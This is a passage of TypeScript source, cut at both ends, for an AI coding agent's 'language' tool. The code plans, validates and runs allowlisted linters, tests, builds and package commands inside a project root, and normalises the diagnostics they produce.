source,\n });\n }\n return diagnostics;\n}\n\nfunction normalizeDiagnosticPath(value: string, root: string): string {\n const clean = value.trim().replace(/^['\"]|['\"]$/g, '');\n return path.resolve(root, clean);\n}\n\nfunction normalizeSeverity(value: string | undefined): LanguageDiagnostic['severity'] {\n if (value === 'warning' || value === 'warn') return 'warning';\n if (value === 'info' || value === 'note' || value === 'help') return 'info';\n if (value === 'hint') return 'hint';\n return 'error';\n}\n\nfunction toPositiveInt(value: string | undefined): number {\n return Math.max(1, Number.parseInt(value ?? '1', 10) || 1);\n}\n\nfunction summarize(diagnostics: readonly LanguageDiagnostic[]): LanguageRunSummary {\n return {\n errors: diagnostics.filter((item) => item.severity === 'error').length,\n warnings: diagnostics.filter((item) => item.severity === 'warning').length,\n infos: diagnostics.filter((item) => item.severity === 'info' || item.severity === 'hint')\n .length,\n };\n}\n\nfunction emptySummary(): LanguageRunSummary {\n return { errors: 0, warnings: 0, infos: 0 };\n}\n\nfunction dedupeDiagnostics(items: readonly LanguageDiagnostic[]): LanguageDiagnostic[] {\n const seen = new Set<string>();\n return items.filter((item) => {\n const key = [\n item.source,\n item.code ?? '',\n item.file ?? '',\n item.range?.start.line ?? 0,\n item.range?.start.column ?? 0,\n item.message,\n ].join('\\0');\n if (seen.has(key)) return false;\n seen.add(key);\n return true;\n });\n}\n\nfunction compareDiagnostics(a: LanguageDiagnostic, b: LanguageDiagnostic): number {\n return (\n (a.file ?? '').localeCompare(b.file ?? '') ||\n (a.range?.start.line ?? 0) - (b.range?.start.line ?? 0) ||\n (a.range?.start.column ?? 0) - (b.range?.start.column ?? 0) ||\n severityRank(a.severity) - severityRank(b.severity) ||\n (a.code ?? '').localeCompare(b.code ?? '') ||\n a.message.localeCompare(b.message)\n );\n}\n\nfunction severityRank(value: LanguageDiagnostic['severity']): number {\n return value === 'error' ? 0 : value === 'warning' ? 1 : value === 'info' ? 2 : 3;\n}\n", "import * as fs from 'node:fs/promises';\nimport * as path from 'node:path';\nimport { detectLanguageWorkspaces } from './detect.js';\nimport { languageProfileRegistry } from './registry.js';\nimport type {\n CommandPlan,\n DetectedWorkspace,\n LanguageOperation,\n LanguageProfile,\n PlanLanguageOptions,\n PlanLanguageResult,\n ProfileContext,\n} from './types.js';\n\nconst MAX_ARGUMENTS = 128;\nconst MAX_ARGUMENT_LENGTH = 4_096;\nconst PACKAGE_NAME_RE = /^(?:@[a-z0-9._-]+\\/)?[a-z0-9._-]+(?:@[a-z0-9*+._~^<>=|-]+)?$/i;\nconst COMPOSER_PACKAGE_RE = /^[a-z0-9_.-]+\\/[a-z0-9_.-]+(?::[a-z0-9*+._~^<>=|-]+)?$/i;\nconst GO_MODULE_RE = /^(?:[a-z0-9.-]+\\.)+[a-z0-9.-]+\\/[a-z0-9._~+/@-]+$/i;\nconst PYTHON_PACKAGE_RE = /^[a-z0-9._-]+(?:\\[[a-z0-9._,-]+\\])?==[a-z0-9*+._!~-]+$/i;\n\nexport async function planLanguageOperation(\n options: PlanLanguageOptions,\n): Promise<PlanLanguageResult> {\n validateOperationOptions(options.operation, options.operationOptions?.packages);\n const detection = await detectLanguageWorkspaces(options);\n const candidates = detection.workspaces.filter((workspace) =>\n workspace.capabilities.includes(options.operation),\n );\n const selected = selectWorkspace(candidates, options);\n if (selected.status !== 'selected') return selected.result;\n\n const profile = (options.profiles ?? languageProfileRegistry.list()).find(\n (item) => item.id === selected.workspace.language,\n );\n if (!profile) {\n return {\n status: 'not_found',\n reason: `Profile ${selected.workspace.language} is unavailable.`,\n candidates,\n };\n }\n if (\n (profile.id === 'typescript' || profile.id === 'javascript') &&\n options.operation !== 'syntax' &&\n selected.workspace.packageManager === undefined &&\n new Set(\n selected.workspace.evidence\n .filter((evidence) => evidence.kind === 'lockfile')\n .map((evidence) => evidence.value.toLowerCase()),\n ).size > 1\n ) {\n return {\n status: 'unavailable',\n workspace: selected.workspace,\n unavailable: {\n status: 'unavailable',\n profileId: profile.id,\n workspaceId: selected.workspace.id,\n operation: options.operation,\n reason: 'Conflicting Node lockfiles make the package manager ambiguous.',\n },\n };\n }\n const resolver = profile.operations[options.operation];\n if (!resolver) {\n return {\n status: 'unavailable',\n workspace: selected.workspace,\n unavailable: {\n status: 'unavailable',\n profileId: profile.id,\n workspaceId: selected.workspace.id,\n operation: options.operation,\n reason: `${profile.displayName} does not define ${options.operation}.`,\n },\n };\n }\n const canonicalCwd = options.cwd\n ? path.isAbsolute(options.cwd)\n ? options.cwd\n : path.resolve(detection.projectRoot, options.cwd)\n : detection.projectRoot;\n const target = options.target\n ? await canonicalTarget(canonicalCwd, options.target, detection.projectRoot)\n : undefined;\n const ctx: ProfileContext = {\n projectRoot: detection.projectRoot,\n workspace: selected.workspace,\n ...(target ? { target } : {}),\n mode: options.mode ?? 'standard',\n options: options.operationOptions ?? {},\n platform: process.platform,\n pathExists: async (candidate) => {\n try {\n await fs.access(path.resolve(detection.projectRoot, candidate));\n return true;\n } catch {\n return false;\n }\n },\n };\n const result = await resolver(ctx);\n if ('status' in result) {\n return { status: 'unavailable', workspace: selected.workspace, unavailable: result };\n }\n const errors = validateCommandPlan(result, profile, detection.projectRoot);\n if (errors.length > 0) {\n return {\n status: 'unavailable',\n workspace: selected.workspace,\n unavailable: {\n status: 'unavailable',\n profileId: profile.id,\n workspaceId: selected.workspace.id,\n operation: options.operation,\n reason: `Generated plan failed validation: ${errors.join('; ')}`,\n },\n };\n }\n return { status: 'planned', workspace: selected.workspace, plan: Object.freeze(result) };\n}\n\nexport function validateCommandPlan(\n plan: CommandPlan,\n profile: LanguageProfile,\n projectRoot: string,\n): string[] {\n const errors: string[] = [];\n if (plan.profileId !== profile.id) errors.push('profile id does not match');\n if (!isInside(plan.cwd, projectRoot)) errors.push('cwd is outside project root');\n if (plan.args.length > MAX_ARGUMENTS) errors.push(`argument count exceeds ${MAX_ARGUMENTS}`);\n if (plan.args.some((arg) => arg.length > MAX_ARGUMENT_LENGTH || /[\\r\\n\\0]/.test(arg))) {\n errors.push('arguments contain an invalid or oversized value');\n }\n if (!Number.isFinite(plan.timeoutMs) || plan.timeoutMs < 1 || plan.timeoutMs > 600_000) {\n errors.push('timeout is outside 1..600000ms');\n }\n if (\n !Number.isFinite(plan.outputLimitBytes) ||\n plan.outputLimitBytes < 1 ||\n plan.outputLimitBytes > 1_000_000\n ) {\n errors.push('output limit is outside 1..1000000 bytes');\n }\n if (plan.kind === 'internal') {\n if (plan.command !== null || plan.args.length !== 0)\n errors.push('internal plans cannot declare a command');\n } else {\n if (!plan.command || !profile.executables.includes(plan.command)) {\n errors.push(`executable \"${plan.command ?? ''}\" is not allowlisted by the profile`);\n }\n }\n if (Object.keys(plan.env).length > 0)\n errors.push('Phase 1 plans cannot override environment variables');\n return errors;\n}\n\nfunction selectWorkspace(\n candidates: readonly DetectedWorkspace[],\n options: PlanLanguageOptions,\n):\n | { status: 'selected'; workspace: DetectedWorkspace }\n | { status: 'result'; result: PlanLanguageResult } {\n if (candidates.length === 0) {\n return {\n status: 'result',\n result: {\n status: 'not_found',\n reason: `No workspace supports ${options.operation}.`,\n candidates: [],\n },\n };\n }\n if (options.workspace) {\n const requested = path.isAbsolute(options.workspace)\n ? path.resolve(options.workspace)\n : path.resolve(options.projectRoot, options.workspace);\n const matches = candidates.filter(\n (item) => item.id === options.workspace || path.resolve(item.root) === requested,\n );\n if (matches.length === 1) return { status: 'selected', workspace: matches[0]! };\n return {\n status: 'result',\n result: {\n status: 'not_found',\n reason: `Requested workspace \"${options.workspace}\" was not detected.`,\n candidates: [...candidates],\n },\n };\n }\n if (options.target) {\n const base = options.cwd\n ? path.isAbsolute(options.cwd)\n ? path.resolve(options.cwd)\n : path.resolve(options.projectRoot, options.cwd)\n : path.resolve(options.projectRoot);\n const target = path.isAbsolute(options.target)\n ? path.resolve(options.target)\n : path.resolve(base, options.target);\n const targeted = candidates\n .filter((item) => item.evidence.some((evidence) => evidence.kind === 'target'))\n .sort(\n (a, b) =>\n workspaceDepth(b.root, options.projectRoot) -\n workspaceDepth(a.root, options.projectRoot) || compareCandidates(a, b),\n );\n if (targeted[0]) return { status: 'selected', workspace: targeted[0] };\n const containing = candidates\n .filter((item) => isInside(target, item.root))\n .sort(\n (a, b) =>\n workspaceDepth(b.root, options.projectRoot) -\n workspaceDepth(a.root, options.projectRoot) || compareCandidates(a, b),\n );\n if (containing[0]) return { status: 'selected', workspace: containing[0] };\n }\n const sorted = [...candidates].sort(compareCandidates);\n const first = sorted[0]!;\n const firstDepth = workspaceDepth(first.root, options.projectRoot);\n const tied = sorted.filter(\n (item) =>\n item.confidence === first.confidence &&\n workspaceDepth(item.root, options.projectRoot) === firstDepth,\n );\n if (tied.length > 1) {\n return {\n status: 'result',\n result: {\n status: 'ambiguous',\n reason:\n 'Multiple workspaces have equal confidence; provide target, language, or workspace.',\n candidates: tied,\n },\n };\n }\n return { status: 'selected', workspace: first };\n}\n\nfunction compareCandidates(a: DetectedWorkspace, b: DetectedWorkspace): number {\n return (\n b.confidence - a.confidence ||\n a.language.localeCompare(b.language) ||\n a.root.localeCompare(b.root)\n );\n}\n\nfunction workspaceDepth(workspaceRoot: string, projectRoot: string): number {\n const relative = path.relative(path.resolve(projectRoot), path.resolve(workspaceRoot));\n return relative === '' ? 0 : relative.split(path.sep).length;\n}\n\nfunction validateOperationOptions(\n operation: LanguageOperation,\n packages?: readonly string[],\n): void {\n if (!operation.startsWith('package-') || !packages) return;\n for (const value of packages) {\n if (!value || value.length > 214 || value.startsWith('-') || /[\\r\\n\\0;&|`$<>\\\\]/.test(value)) {\n throw new Error(`Invalid package identifier \"${value}\"`);\n }\n if (\n value.startsWith('.') ||\n value.startsWith('/') ||\n /^[A-Za-z]:/.test(value) ||\n value.includes('://')\n ) {\n throw new Error(`Package paths and URLs are not supported: \"${value}\"`);\n }\n if (\n !PACKAGE_NAME_RE.test(value) &&\n !COMPOSER_PACKAGE_RE.test(value) &&\n !GO_MODULE_RE.test(value) &&\n !PYTHON_PACKAGE_RE.test(value)\n ) {\n throw new Error(`Invalid package identifier \"${value}\"`);\n }\n }\n}\n\nasync function canonicalTarget(cwd: string, target: string, projectRoot: string): Promise<string> {\n const resolved = path.isAbsolute(target) ? path.resolve(target) : path.resolve(cwd, target);\n let real: string;\n try {\n real = await fs.realpath(resolved);\n } catch (error) {\n if ((error as NodeJS.ErrnoException).code !== 'ENOENT') throw error;\n const parent = await fs.realpath(path.dirname(resolved));\n real = path.join(parent, path.basename(resolved));\n }\n if (!isInside(real, projectRoot)) throw new Error(`target is outside project root: ${target}`);\n return real;\n}\n\nfunction isInside(candidate: string, root: string): boolean {\n const relative = path.relative(path.resolve(root), path.resolve(candidate));\n return relative === '' || (!relative.startsWith('..') && !path.isAbsolute(relative));\n}\n", "import * as fs from 'node:fs/promises';\nimport * as path from 'node:path';\nimport type { ToolProgressEvent } from '@wrongstack/core/types';\nimport { type SpawnStreamResult, spawnStream } from '../_spawn-stream.js';\nimport { normalizeCommandOutput } from '../_util.js';\nimport {\n diagnosticsForInternalSyntax,\n parseLanguageDiagnostics,\n parsePackageReports,\n} from './diagnostics.js';\nimport { validateCommandPlan } from './plan.js';\nimport { languageProfileRegistry } from './registry.js';\nimport type {\n CommandPlan,\n DetectedWorkspace,\n LanguagePackageMutation,\n LanguagePackageOutcome,\n LanguagePackageVulnerability,\n LanguageRunResult,\n LanguageRunSummary,\n} from './types.js';\n\nconst MAX_INTERNAL_SOURCE_BYTES = 1_500_000;\n\nexport interface ExecuteLanguagePlanOptions {\n projectRoot: string;\n workspace: DetectedWorkspace;\n plan: CommandPlan;\n signal: AbortSignal;\n}\n\nexport async function* executeLanguagePlan(\n options: ExecuteLanguagePlanOptions,\n): AsyncGenerator<ToolProgressEvent, LanguageRunResult> {\n const { plan, workspace } = options;\n if (options.signal.aborted) {\n return terminalResult(options, 'cancelled', options.signal.reason);\n }\n const profile = languageProfileRegistry.get(plan.profileId);\n if (!profile) return unavailableResult(options, `Unknown language profile: ${plan.profileId}`);\n if (workspace.id !== plan.workspaceId || workspace.language !== plan.profileId) {\n return unavailableResult(options, 'Plan and workspace identity do not match.');\n }\n const validation = validateCommandPlan(plan, profile, options.projectRoot);\n if (validation.length > 0) {\n return unavailableResult(options, `Plan failed execution validation: ${validation.join('; ')}`);\n }\n const containmentError = await validatePlanRealpaths(plan, options.projectRoot);\n if (containmentError) return unavailableResult(options, containmentError);\n if (plan.operation.startsWith('package-') || plan.network) {\n return terminalNonPackageResult(\n options,\n 'Package and network plans require the separate language_package tool (Phase 3).',\n );\n }\n\n const startedAt = Date.now();\n yield {\n type: 'log',\n text:\n plan.kind === 'internal'\n ? `Running ${plan.parser}\u2026`\n : `${plan.command} ${plan.args.join(' ')}`,\n data: { language: plan.profileId, operation: plan.operation, workspace: workspace.root },\n };\n\n if (plan.kind === 'internal') {\n try {\n return await executeInternal(options, startedAt);\n } catch (error) {\n return unavailableResult(options, error instanceof Error ? error.message : String(error));\n }\n }\n\n const timeoutController = new AbortController();\n const timer = setTimeout(\n () => timeoutController.abort(new Error('language plan timed out')),\n plan.timeoutMs,\n );\n timer.unref?.();\n const signal = AbortSignal.any([options.signal, timeoutController.signal]);\n let spawned: SpawnStreamResult;\n try {\n const stream = spawnStream({\n cmd: plan.command!,\n args: [...plan.args],\n cwd: plan.cwd,\n signal,\n maxBytes: plan.outputLimitBytes,\n });\n for (;;) {\n const next = await stream.next();\n if (next.done) {\n spawned = next.value;\n break;\n }\n yield next.value;\n }\n } catch (error) {\n const timedOut = timeoutController.signal.aborted && !options.signal.aborted;\n const cancelled = options.signal.aborted;\n return {\n status: timedOut ? 'timed_out' : cancelled ? 'cancelled' : 'failed',\n language: plan.profileId,\n workspace,\n plan,\n exitCode: null,\n durationMs: Date.now() - startedAt,\n diagnostics: Object.freeze([]),\n omittedDiagnostics: 0,\n summary: emptySummary(),\n output: '',\n truncated: false,\n error: error instanceof Error ? error.message : String(error),\n };\n } finally {\n clearTimeout(timer);\n }\n\n const parsed = parseLanguageDiagnostics(\n plan.parser,\n spawned.stdout,\n spawned.stderr,\n workspace.root,\n );\n const timedOut = timeoutController.signal.aborted && !options.signal.aborted;\n const cancelled = options.signal.aborted;\n const spawnUnavailable = Boolean(\n spawned.error && /ENOENT|not found|cannot find/i.test(spawned.error),\n );\n const status: LanguageRunResult['status'] = timedOut\n ? 'timed_out'\n : cancelled\n ? 'cancelled'\n : spawnUnavailable\n ? 'unavailable'\n : spawned.exitCode === 0\n ? 'passed'\n : 'failed';\n const raw = [spawned.stdout, spawned.stderr, spawned.error].filter(Boolean).join('\\n');\n return {\n status,\n language: plan.profileId,\n workspace,\n plan,\n exitCode: spawned.exitCode,\n durationMs: Date.now() - startedAt,\n diagnostics: parsed.diagnostics,\n omittedDiagnostics: parsed.omitted,\n summary: parsed.summary,\n output: normalizeCommandOutput(raw, { maxBytes: plan.outputLimitBytes }),\n truncated: spawned.truncated,\n ...(spawned.spoolPath ? { spoolPath: spawned.spoolPath } : {}),\n ...(spawned.error ? { error: spawned.error } : {}),\n };\n}\n\nasync function executeInternal(\n options: ExecuteLanguagePlanOptions,\n startedAt: number,\n): Promise<LanguageRunResult> {\n const target = options.plan.evidence.find((item) => item.kind === 'target')?.path;\n if (!target) return unavailableResult(options, 'Internal syntax plan has no target evidence.');\n const safeTarget = await assertContainedFile(target, options.projectRoot);\n const stat = await fs.stat(safeTarget);\n if (stat.size > MAX_INTERNAL_SOURCE_BYTES) {\n return unavailableResult(\n options,\n `Internal syntax target exceeds ${MAX_INTERNAL_SOURCE_BYTES} bytes.`,\n );\n }\n const source = await fs.readFile(safeTarget, 'utf8');\n const parsed = await diagnosticsForInternalSyntax(options.plan.profileId, safeTarget, source);\n return {\n status: parsed.summary.errors > 0 ? 'failed' : 'passed',\n language: options.plan.profileId,\n workspace: options.workspace,\n plan: options.plan,\n exitCode: parsed.summary.errors > 0 ? 1 : 0,\n durationMs: Date.now() - startedAt,\n diagnostics: parsed.diagnostics,\n omittedDiagnostics: parsed.omitted,\n summary: parsed.summary,\n output:\n parsed.summary.errors > 0\n ? `${parsed.summary.errors} syntax error(s) found.`\n : 'Syntax check passed.',\n truncated: false,\n };\n}\n\nasync function validatePlanRealpaths(\n plan: CommandPlan,\n projectRoot: string,\n): Promise<string | undefined> {\n const realRoot = await fs.realpath(projectRoot);\n let realCwd: string;\n try {\n realCwd = await fs.realpath(plan.cwd);\n } catch (error) {\n return `Plan cwd is unavailable: ${error instanceof Error ? error.message : String(error)}`;\n }\n if (!isRealInside(realCwd, realRoot)) return 'Plan cwd resolves outside project root.';\n for (const argument of plan.args) {\n if (!path.isAbsolute(argument)) continue;\n try {\n const realArgument = await fs.realpath(argument);\n if (!isRealInside(realArgument, realRoot)) {\n return `Plan argument resolves outside project root: ${argument}`;\n }\n } catch (error) {\n if ((error as NodeJS.ErrnoException).code !== 'ENOENT') {\n return `Plan argument could not be resolved safely: ${argument}`;\n }\n }\n }\n return undefined;\n}\n\nfunction isRealInside(candidate: string, root: string): boolean {\n const relative = path.relative(root, candidate);\n return relative === '' || (!relative.startsWith('..') && !path.isAbsolute(relative));\n}\n\nasync function assertContainedFile(candidate: string, projectRoot: string): Promise<string> {\n const realRoot = await fs.realpath(projectRoot);\n const realTarget = await fs.realpath(candidate);\n const relative = path.relative(realRoot, realTarget);\n if (relative.startsWith('..') || path.isAbsolute(relative)) {\n throw new Error(`Internal syntax target resolves outside project root: ${candidate}`);\n }\n return realTarget;\n}\n\nfunction terminalResult(\n options: ExecuteLanguagePlanOptions,\n status: 'cancelled' | 'timed_out',\n reason: unknown,\n): LanguageRunResult {\n const message = reason instanceof Error ? reason.message : reason ? String(reason) : status;\n return {\n status,\n language: options.plan.profileId,\n workspace: options.workspace,\n plan: options.plan,\n exitCode: null,\n durationMs: 0,\n diagnostics: Object.freeze([]),\n omittedDiagnostics: 0,\n summary: emptySummary(),\n output: '',\n truncated: false,\n error: message,\n };\n}\n\nfunction unavailableResult(options: ExecuteLanguagePlanOptions, reason: string): LanguageRunResult {\n return {\n status: 'unavailable',\n language: options.plan.profileId,\n workspace: options.workspace,\n plan: options.plan,\n exitCode: null,\n durationMs: 0,\n diagnostics: Object.freeze([]),\n omittedDiagnostics: 0,\n summary: emptySummary(),\n output: reason,\n truncated: false,\n error: reason,\n };\n}\n\nfunction emptySummary(): LanguageRunSummary {\n return { errors: 0, warnings: 0, infos: 0 };\n}\n\nfunction terminalNonPackageResult(\n options: ExecuteLanguagePlanOptions,\n reason: string,\n): LanguageRunResult {\n return {\n status: 'unavailable',\n language: options.plan.profileId,\n workspace: options.workspace,\n plan: options.plan,\n exitCode: null,\n durationMs: 0,\n diagnostics: Object.freeze([]),\n omittedDiagnostics: 0,\n summary: emptySummary(),\n output: reason,\n truncated: false,\n error: reason,\n };\n}\n\nexport interface ExecutePackagePlanOptions {\n projectRoot: string;\n workspace: DetectedWorkspace;\n plan: CommandPlan;\n packages: readonly string[];\n signal: AbortSignal;\n}\n\nexport async function* executePackagePlan(\n options: ExecutePackagePlanOptions,\n): AsyncGenerator<ToolProgressEvent, LanguagePackageOutcome> {\n const { plan, workspace } = options;\n const startedAt = Date.now();\n if (options.signal.aborted) {\n yield { type: 'log', text: 'Run cancelled before execution.' };\n return terminalPackageResult(options, 'cancelled', startedAt);\n }\n const profile = languageProfileRegistry.get(plan.profileId);\n if (!profile) {\n yield { type: 'warning', text: `Unknown language profile: ${plan.profileId}` };\n return terminalPackageResult(options, 'unavailable', startedAt, 'Unknown language profile.');\n }\n if (workspace.id !== plan.workspaceId || workspace.language !== plan.profileId) {\n return terminalPackageResult(\n options,\n 'unavailable',\n startedAt,\n 'Plan and workspace identity do not match.',\n );\n }\n const validation = validateCommandPlan(plan, profile, options.projectRoot);\n if (validation.length > 0) {\n return terminalPackageResult(\n options,\n 'unavailable',\n startedAt,\n `Plan failed execution validation: ${validation.join('; ')}`,\n );\n }\n const containmentError = await validatePlanRealpaths(plan, options.projectRoot);\n if (containmentError) {\n return terminalPackageResult(options, 'unavailable', startedAt, containmentError);\n }\n\n const manifestsBefore = await snapshotPaths(workspace.manifests);\n const lockfilePaths = collectLockfilePaths(workspace);\n const lockfilesBefore = await snapshotPaths(lockfilePaths);\n const manifestSizesBefore = await snapshotSizes(workspace.manifests);\n const lockfileSizesBefore = await snapshotSizes(lockfilePaths);\n\n yield {\n type: 'log',\n text:\n plan.kind === 'process'\n ? `${plan.command} ${plan.args.join(' ')}`\n : `${plan.parser}: ${plan.operation}`,\n data: {\n language: plan.profileId,\n operation: plan.operation,\n workspace: workspace.root,\n packages: [...options.packages],\n },\n };\n\n const timeoutController = new AbortController();\n const timer = setTimeout(\n () => timeoutController.abort(new Error('language package plan timed out')),\n plan.timeoutMs,\n );\n timer.unref?.();\n const signal = AbortSignal.any([options.signal, timeoutController.signal]);\n let spawned: SpawnStreamResult | undefined;\n let run: LanguageRunResult | undefined;\n let status: LanguagePackageOutcome['status'] = 'unavailable';\n let error: string | undefined;\n try {\n if (plan.kind !== 'process') {\n return terminalPackageResult(\n options,\n 'unavailable',\n startedAt,\n 'Package operations require an executable plan; internal plans cannot mutate the manifest.',\n );\n }\n const stream = spawnStream({\n cmd: plan.command!,\n args: [...plan.args],\n cwd: plan.cwd,\n signal,\n maxBytes: plan.outputLimitBytes,\n });\n for (;;) {\n const next = await stream.next();\n if (next.done) {\n spawned = next.value;\n break;\n }\n yield next.value;\n }\n } catch (error_) {\n error = error_ instanceof Error ? error_.message : String(error_);\n } finally {\n clearTimeout(timer);\n }\n\n if (spawned) {\n const parsed = parseLanguageDiagnostics(\n plan.parser,\n spawned.stdout,\n spawned.stderr,\n workspace.root,\n );\n const timedOut = timeoutController.signal.aborted && !options.signal.aborted;\n const cancelled = options.signal.aborted;\n const spawnUnavailable = Boolean(\n spawned.error && /ENOENT|not found|cannot find/i.test(spawned.error),\n );\n status = timedOut\n ? 'timed_out'\n : cancelled\n ? 'cancelled'\n : spawnUnavailable\n ? 'unavailable'\n : spawned.exitCode === 0\n ? 'passed'\n : 'failed';\n error ??= spawned.error;\n const raw = [spawned.stdout, spawned.stderr, spawned.error].filter(Boolean).join('\\n');\n run = {\n status,\n language: plan.profileId,\n workspace,\n plan,\n exitCode: spawned.exitCode,\n durationMs: Date.now() - startedAt,\n diagnostics: parsed.diagnostics,\n omittedDiagnostics: parsed.omitted,\n summary: parsed.summary,\n output: normalizeCommandOutput(raw, { maxBytes: plan.outputLimitBytes }),\n truncated: spawned.truncated,\n ...(spawned.spoolPath ? { spoolPath: spawned.spoolPath } : {}),\n ...(spawned.error ? { error: spawned.error } : {}),\n };\n } else {\n status = options.signal.aborted\n ? 'cancelled'\n : timeoutController.signal.aborted\n ? 'timed_out'\n : 'failed';\n }\n\n if (status !== 'passed') {\n return terminalPackageResult(\n options,\n status,\n startedAt,\n error,\n run,\n manifestsBefore,\n lockfilesBefore,\n );\n }\n\n const manifestsAfter = await snapshotPaths(workspace.manifests);\n const lockfilesAfter = await snapshotPaths(lockfilePaths);\n const manifestSizesAfter = await snapshotSizes(workspace.manifests);\n const lockfileSizesAfter = await snapshotSizes(lockfilePaths);\n const manifestsChanged = await changedPaths(\n manifestsBefore,\n manifestsAfter,\n manifestSizesBefore,\n manifestSizesAfter,\n );\n const lockfilesChanged = await changedPaths(\n lockfilesBefore,\n lockfilesAfter,\n lockfileSizesBefore,\n lockfileSizesAfter,\n );\n const reports = parsePackageReports(plan.parser, spawned?.stdout ?? '', spawned?.stderr ?? '');\n const mutations = packageMutationsFromInputs(options.packages, reports.outdated);\n return {\n workspace,\n language: plan.profileId,\n operation: plan.operation,\n status,\n ...(run ? { run } : {}),\n durationMs: Date.now() - startedAt,\n manifestsBefore,\n lockfilesBefore,\n manifestsAfter,\n lockfilesAfter,\n mutations,\n vulnerabilities: reports.vulnerabilities,\n outdated: reports.outdated,\n manifestsChanged: Object.freeze(manifestsChanged),\n lockfilesChanged: Object.freeze(lockfilesChanged),\n };\n}\n\nfunction packageMutationsFromInputs(\n inputs: readonly string[],\n outdated: readonly LanguagePackageMutation[],\n): readonly LanguagePackageMutation[] {\n const outdatedNames = new Set(outdated.map((entry) => entry.name));\n return inputs\n .filter((name) => !outdatedNames.has(name))\n .map<LanguagePackageMutation>((name) => ({ name, requested: name, kind: 'runtime' }));\n}\n\nasync function snapshotPaths(paths: readonly string[]): Promise<readonly string[]> {\n const existing: string[] = [];\n for (const candidate of paths) {\n try {\n const stat = await fs.stat(candidate);\n if (!stat.isFile()) continue;\n existing.push(candidate);\n } catch {\n // Missing path is fine.\n }\n }\n return Object.freeze(existing);\n}\n\nasync function changedPaths(\n before: readonly string[],\n after: readonly string[],\n beforeSizes?: ReadonlyMap<string, number>,\n afterSizes?: ReadonlyMap<string, number>,\n): Promise<string[]> {\n const beforeSet = new Set(before);\n const afterSet = new Set(after);\n const changed = new Set<string>();\n for (const path of after) {\n if (!beforeSet.has(path)) changed.add(path);\n }\n for (const path of before) {\n if (!afterSet.has(path)) changed.add(path);\n }\n if (beforeSizes && afterSizes) {\n for (const path of after) {\n if (beforeSizes.get(path) !== afterSizes.get(path)) changed.add(path);\n }\n }\n return [...changed].sort();\n}\n\nasync function snapshotSizes(paths: readonly string[]): Promise<ReadonlyMap<string, number>> {\n const sizes = new Map<string, number>();\n for (const candidate of paths) {\n try {\n const stat = await fs.stat(candidate);\n if (stat.isFile()) sizes.set(candidate, stat.size);\n } catch {\n // Skip missing files.\n }\n }\n return sizes;\n}\n\nfunction collectLockfilePaths(workspace: DetectedWorkspace): readonly string[] {\n const explicit = workspace.evidence\n .filter((evidence) => evidence.kind === 'lockfile')\n .map((evidence) => evidence.path);\n const detected =\n LOCKFILE_NAMES_BY_PROFILE.get(workspace.language)?.map((name) =>\n path.join(workspace.root, name),\n ) ?? [];\n const merged = new Set<string>();\n for (const candidate of [...explicit, ...detected]) merged.add(candidate);\n return Object.freeze([...merged]);\n}\n\nconst LOCKFILE_NAMES_BY_PROFILE: ReadonlyMap<DetectedWorkspace['language'], readonly string[]> =\n new Map([\n ['typescript', ['package-lock.json', 'pnpm-lock.yaml', 'yarn.lock', 'bun.lock', 'bun.lockb']],\n ['javascript', ['package-lock.json', 'pnpm-lock.yaml', 'yarn.lock', 'bun.lock', 'bun.lockb']],\n ['go', ['go.sum']],\n ['rust', ['Cargo.lock']],\n ['php', ['composer.lock']],\n ['csharp', ['packages.lock.json']],\n ]);\n\nfunction terminalPackageResult(\n options: ExecutePackagePlanOptions,\n status: LanguagePackageOutcome['status'],\n startedAt: number,\n error?: string,\n run?: LanguageRunResult,\n manifestsBefore: readonly string[] = [],\n lockfilesBefore: readonly string[] = [],\n): LanguagePackageOutcome {\n return {\n workspace: options.workspace,\n language: options.plan.profileId,\n operation: options.plan.operation,\n status,\n ...(run ? { run } : {}),\n durationMs: Date.now() - startedAt,\n manifestsBefore,\n lockfilesBefore,\n manifestsAfter: manifestsBefore,\n lockfilesAfter: lockfilesBefore,\n manifestsChanged: Object.freeze([]),\n lockfilesChanged: Object.freeze([]),\n mutations: Object.freeze([]),\n vulnerabilities: Object.freeze([]) as readonly LanguagePackageVulnerability[],\n outdated: Object.freeze([]) as readonly LanguagePackageMutation[],\n ...(error ? { error } : {}),\n };\n}\n", "import type { Tool, ToolStreamEvent } from '@wrongstack/core/types';\nimport { safeResolveReal } from '../_util.js';\nimport { executeLanguagePlan } from './execute.js';\nimport { planLanguageOperation } from './plan.js';\nimport type {\n LanguageDiagnostic,\n LanguageOperation,\n LanguageOperationOptions,\n LanguageProfileId,\n LanguageRunResult,\n} from './types.js';\n\ninterface LanguageToolInput {\n action: 'check' | 'lint' | 'format' | 'test' | 'build' | 'debug';\n cwd?: string | undefined;\n target?: string | undefined;\n language?: LanguageProfileId | undefined;\n workspace?: string | undefined;\n mode?: 'fast' | 'standard' | 'thorough' | undefined;\n check?: 'syntax' | 'semantic' | 'all' | undefined;\n formatCheck?: boolean | undefined;\n filter?: string | undefined;\n coverage?: boolean | undefined;\n noRun?: boolean | undefined;\n debug?: 'compile' | 'test' | 'runtime' | 'race' | undefined;\n}\n\ninterface LanguageToolOutput {\n status: 'passed' | 'failed' | 'unavailable' | 'cancelled' | 'timed_out';\n language?: LanguageProfileId | undefined;\n workspace?: string | undefined;\n runs: LanguageRunResult[];\n diagnostics: readonly LanguageDiagnostic[];\n summary: {\n runs: number;\n passed: number;\n failed: number;\n errors: number;\n warnings: number;\n };\n output: string;\n}\n\nconst LANGUAGE_IDS: LanguageProfileId[] = [\n 'typescript',\n 'javascript',\n 'go',\n 'rust',\n 'php',\n 'csharp',\n 'python',\n 'java',\n 'ruby',\n 'c',\n 'cpp',\n 'swift',\n 'dart',\n 'elixir',\n 'deno',\n 'shell',\n];\n\nexport const languageTool: Tool<LanguageToolInput, LanguageToolOutput> = {\n name: 'language',\n category: 'Code Quality',\n description:\n 'Execute predefined language-specific checks, linters, formatters, tests, builds, and debugging evidence.',\n usageHint:\n 'Use this instead of constructing compiler or test commands manually. The tool detects the workspace, ' +\n 'builds an allowlisted argv plan, revalidates it, executes without a shell, and returns normalized diagnostics. ' +\n 'Package and network operations are intentionally excluded.',\n selection: {\n doNotUseWhen: 'You only need workspace detection/planning, or need to modify dependencies.',\n useInstead: ['language_info', 'install', 'audit', 'outdated'],\n },\n permission: 'confirm',\n mutating: true,\n riskTier: 'standard',\n capabilities: ['shell.restricted', 'fs.write'],\n icon: 'code',\n timeoutMs: 600_000,\n inputSchema: {\n type: 'object',\n properties: {\n action: {\n type: 'string',\n enum: ['check', 'lint', 'format', 'test', 'build', 'debug'],\n description: 'Language operation to execute.',\n },\n cwd: { type: 'string', description: 'Directory inside the project.' },\n 